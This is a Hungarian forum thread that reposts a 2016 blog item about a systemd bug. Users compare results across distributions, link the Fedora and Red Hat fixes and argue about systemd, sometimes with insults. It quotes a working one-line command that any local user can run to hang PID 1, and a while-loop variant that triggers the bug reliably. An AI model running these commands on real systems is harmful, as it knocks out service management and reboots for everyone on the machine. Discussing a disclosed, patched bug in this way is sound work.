How to Crash Systemd in One Tweet

 ( toMpEr | 2016. szeptember 29., csütörtök - 9:58 )

The following command, when run as any user, will crash systemd:

NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""

After running this command, PID 1 is hung in the pause system call. You can no longer start and stop daemons. inetd-style services no longer accept connections. You cannot cleanly reboot the system. The system feels generally unstable (e.g. ssh and su hang for 30 seconds since systemd is now integrated with the login system).

https://www.agwa.name/blog/post/how_to_crash_systemd_in_one_tweet

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

# NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
Failed to notify init system: No such file or directory
# uname -a
Linux opensuse 4.7.5-1.gc7aed11-default #1 SMP PREEMPT Sat Sep 24 11:41:43 UTC 2016 (c7aed11) x86_64 x86_64 x86_64 GNU/Linux

A hiba az én készülékemben van?

A systemctl --version mit mond? A 209 fölöttiek érintettek.
Pl. 219-es verziójú redhat 7.1-nél van ilyen file, és ki is lehet kényszeríteni a hibát.
A 7.0 esetén még nincs notify file (systemd version 208), így a hiba sem érinti.

# systemctl --version
systemd 210
+PAM +LIBWRAP +AUDIT +SELINUX -IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ +SECCOMP +APPARMOR

A 210 hibás verzió. A redhat systemd 209-nél csak így sikerült előcsikarni, előfordulhat, hogy nem fog menni elsőre:
while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done

Edit:
Lentebb is írták, hogy az openSuse esetén nincs notify file, a socket file hiányában nem lehet előidézni a hibát, ill. ezzel a módszerrel biztos nem.

nájsz
--
blogom

Sziasztok.
Ez csak vaklárma, vagy a rendszeresen frissített rolling disztrókat nem érinti.
Vagy az én gépem is rossz:-)

19:12:52istju ~ $ NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
19:13:33istju ~ $ uname -a
Linux arch 4.7.4-1-ARCH #1 SMP PREEMPT Thu Sep 15 15:24:29 CEST 2016 x86_64 GNU/Linux
19:13:49istju ~ $ systemctl --version
systemd 231
+PAM -AUDIT -SELINUX -IMA -APPARMOR +SMACK -SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN
19:14:24istju ~ $

Superuserként:
[root@arch istju]# NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
[root@arch istju]# systemctl --version
systemd 231
+PAM -AUDIT -SELINUX -IMA -APPARMOR +SMACK -SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN
[root@arch istju]#

Everything works exactly as before. Including, for example systemctl reboot.

Próbáld meg végtelen ciklussal:
while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done

Vigyázat, aki nem tud angolul az ne kísérletezzen vele!

Miért ne kísérletezhetnék vele? Veszendő adatom nincs itt, max újrarántom pendriveról bootolva a systemd-t, v akár az egész rendszert. Egyébként vágom az angolt:-)

Mert hülyét csinálsz magadból

Szóval nálad összeomlik a systemd? Nálam még mindig nem. A wifitől elkezdve a tftpd szervern keresztül minden systemdvel van felhúzva. Ki be kapcsolgatom, minden ok. Semmi változás. Hülyét csinálok magamból:-) ? Ki mondta, hogy nem vagyok az?

Hatalmas logikai bakugrásokkal haladunk!

Akkor idézek, és fordítok neked:
"The following command, when run as any user, will crash systemd:

NOTIFY_SOCKET=/run/systemd/notify systemd-notify "" "

Tehát: "A következő parancsot ha futtatja bármely elhasználó a systemd összeomlik(tehát nem működik tovább)"
Párszor leírtam, hogy a rendszeremen a leírt parancs (másolva szőröstül bőröstül, persze # jel nélkül:-)) nem okoz systemd problémát. Az egy más kérdés, hogy kardinálisan tiltakozom a systemd bevezetése ellen, és terveztem egy sysvinit rendszerre történő visszaállást, (ami lehetséges) de ezt nem tettem meg, mert nem okozott nekem eddig nagy problémát.
Tehát, még egyszer leírom: a jelölt parancs bármilyen jogosultsággal futtatva sem okoz törést a rendszeremben.
Persze a rendszerem nem szegecselt.

Nagyon ügyes kicsfijjú! És a többi?

Nem használok asztali környezetet. Tiling WM-el dolgozom (FrankenWm) . Az asztalom egy nem klikkelhető fekete üresség. Az eszközeim és egyéb cuccaim felhúzására (appletek és egyéb segédprogik hiányában) sajna ezt az új xart, a systemd-t használom parancssoros környezetben. Utoljára írom, hogy a topicban szereplő parancs nincs hatással az eszközeimre, se a folyamataimra. Ezek továbbra is ki, és bekapcsolhatóak maradnak a systemctl parancsmegfelelően paraméterezett kiadásával. Ha ezt nem érted meg, nagyon sajnálom. Ez a dolog nálam igaz, Arch linux alatt asztali rendszeren, és otthoni hálózatban egyaránt.

Ez a topic remek arra, hogy a systemd userek szintjén szórakozzunk :) Kérd meg aput, hogy fordítsa le neked az eredeti cikket.

Óvoda szint.
--
♙♘♗♖♕♔

Nagy a kuss. Nemtán sikerült végre eljutni a ciklusig?

vagy csak megunta a dedós stílusod...

Ja-ja, ilyenkor kezdődik a szokásos "meguntam a stílusod!", meg az "ovis szint!" és a "jobb dolgom is van" frázisok puffogtatása. Mintha az bizony elterelné a szintet a kedves systemdix felhasználó bénázásairól.

ja, mert nehéz lett volna az aki nem tud angolul kezdetű fikázásod, meg az olyan értelmetlen faszságok, mint a systemd userek szintjén való szórakozás -- miközben azt ugye leginkább a disztró dönti el, de nem baj, bizonyára mindenki hülye, aki systemdt használ -- és az egyéb masszív, zeró információt tartalmazó személyeskedésed helyett benyögni, annyit, mint pl zitev, hogy nézd már meg a cikkben, hogy nem determinisztikus, futtasd ciklusban. Nem, neked ehelyett a másik angoltudásába kell minden alap nélkül belekötni, aztán meg jönni azzal, hogy a másik csak védekező frázisokat puffogtat a stílusodról. Az barátom azért van, mert a stílusodon kívül semmit nem mondtál.

nem determinisztikus, futtasd ciklusban

Arról nem is beszélve, hogy már okafogyott, megoldották. Sőt, Fedorához az általam linkelt után jött még egy frissítés az alábbi changelog megjegyzéssel:

- Better fix for #1380286


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Köszi

"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

status(butt) = hurt

én ugyan nem, de kb erre számítottam. :)

openSUSE Leap 43.1:

foo@bar:~> NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
Failed to notify init system: No such file or directory
foo@bar:~> systemctl --version
systemd 210
+PAM +LIBWRAP +AUDIT +SELINUX -IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ +SECCOMP +APPARMOR

BlackY
--
"en is amikor bejovok dolgozni, nem egy pc-t [..] kapcsolok be, hanem a mainframe-et..." (sj)

A 43.1 = 42.2 BETA 2, vagy typo volt? :)
Én még 42.1-nél járok.

Béta, ugyanmár, én szeretek veszélyesen élni: factory :)
Egyébként typo.

BlackY
--
"en is amikor bejovok dolgozni, nem egy pc-t [..] kapcsolok be, hanem a mainframe-et..." (sj)

Nyugi, nincs itt semmi látnivaló, javították:

http://koji.fedoraproject.org/koji/buildinfo?buildID=805354

Egyébként:

https://bugzilla.redhat.com/show_bug.cgi?id=1380286


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

A Systemd körülötti hecckampány direkt jó, mert így tényleg működik a manyeyeballs :-).

Sajnos valóban nincs, mert az évek megmutatták, hogy az igazi kérdés:
"The immediate question raised by this bug is what kind of quality assurance process would allow such a simple bug to exist for over two years (it was introduced in systemd 209). Isn't the empty string an obvious test case? "
gyakorlatilag bármelyik fontos szoftverre igaz, láttuk, hogy mind tele vannak banális hibákkal, szóval sajnos valóban nincs itt semmi látnivaló, pedig jobb lenne, ha ez az lenne.

Tény, hogy ciki, s ha már egyszer kitalálták, hogy legyen systemd, mert van egy rakás feature benne a párhuzamos szolgáltatás indítástól kezdve a függőség kezelésen át az egyszerű konfigurációs file-okig, akkor viszont illene megfelelő minőségben kódolni egy ilyen alapvető komponenst, amely nélkül éppen úgy megáll a gép, mintha a kernel lenne beteg.

Azt azért hozzátenném, hogy a System V scriptjeinek biztonságossága véleményem szerint hamis biztonságérzet. Egyrészt jól el lehet azt szúrni a függőségek nehézkes kezelhetősége, helyben gányolt kezelése miatt. Valamint szerintem soha senki nem mondta, hogy a bash, vagy az a shell, amelyik ezeket a scripteket futtatja majd, hibátlan, s nem akad majd bele egy kifejezésbe. Csak, hogy alátámasszam a mondanivalómat, az utóbbi 10 napban két javítás jött Fedorához, amely a bash-t érinti:

* Fri Sep 30 2016 Siteshwar Vashisht <xxxxx@redhat.com> - 4.3.42-7
- CVE-2016-7543: Fix for arbitrary code execution via SHELLOPTS+PS4 variables
Resolves: #1379634

* Wed Sep 21 2016 David Kaspar [Dee'Kej] <xxxx@redhat.com> - 4.3.42-6
- CVE-2016-0634 - Fix for arbitrary code execution via malicious hostname
Resolves: #1377614


tr '[:lower:]' '[:upper:]' <<<locsemege
LOCSEMEGE

Ennyi:-)
[istju@arcsi ~]$ systemctl --version
bash: systemctl: parancs nem található
[istju@arcsi ~]$
[root@arcsi istju]# openrc --version
openrc (OpenRC) 0.22.1 (Manjaro Linux)
[root@arcsi istju]#

Depoetterization phase 1 completed.

# systemd -v
bash: systemd: a parancs nem található...
# openrc --version
openrc (OpenRC) 0.22.2 (Gentoo Linux)
# nm-cli
bash: nm-cli: a parancs nem található...

phase 2: pulseaudio removal - meg kell néznem, hogy milyen mélyen van beágyazva a rendszerbe.

Az eudev egyelőre megfelelő alternatívának tűnik - továbbra is net.ifnames=0-val...

"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."